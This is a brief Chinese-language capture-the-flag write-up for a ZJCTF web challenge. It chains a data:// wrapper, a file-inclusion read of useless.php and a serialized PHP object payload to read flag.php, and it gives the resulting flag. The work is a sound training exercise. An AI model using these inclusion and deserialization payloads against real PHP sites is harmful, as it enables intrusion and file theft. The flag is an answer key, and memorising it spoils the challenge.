复现环境:buuoj.cn
开题源码一份
分析源码
需要将内容"welcome to the zjctf"传入到$text,才能有下一步操作
payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
然后是file参数,使用filter来读取useless.php,解码得源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
对该代码进行序列化,需要将flag.php赋值给变量$file
最终形成的payload:
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
flag{c9ff42ab-e3e4-4e0a-b3f2-7428d04ed64a}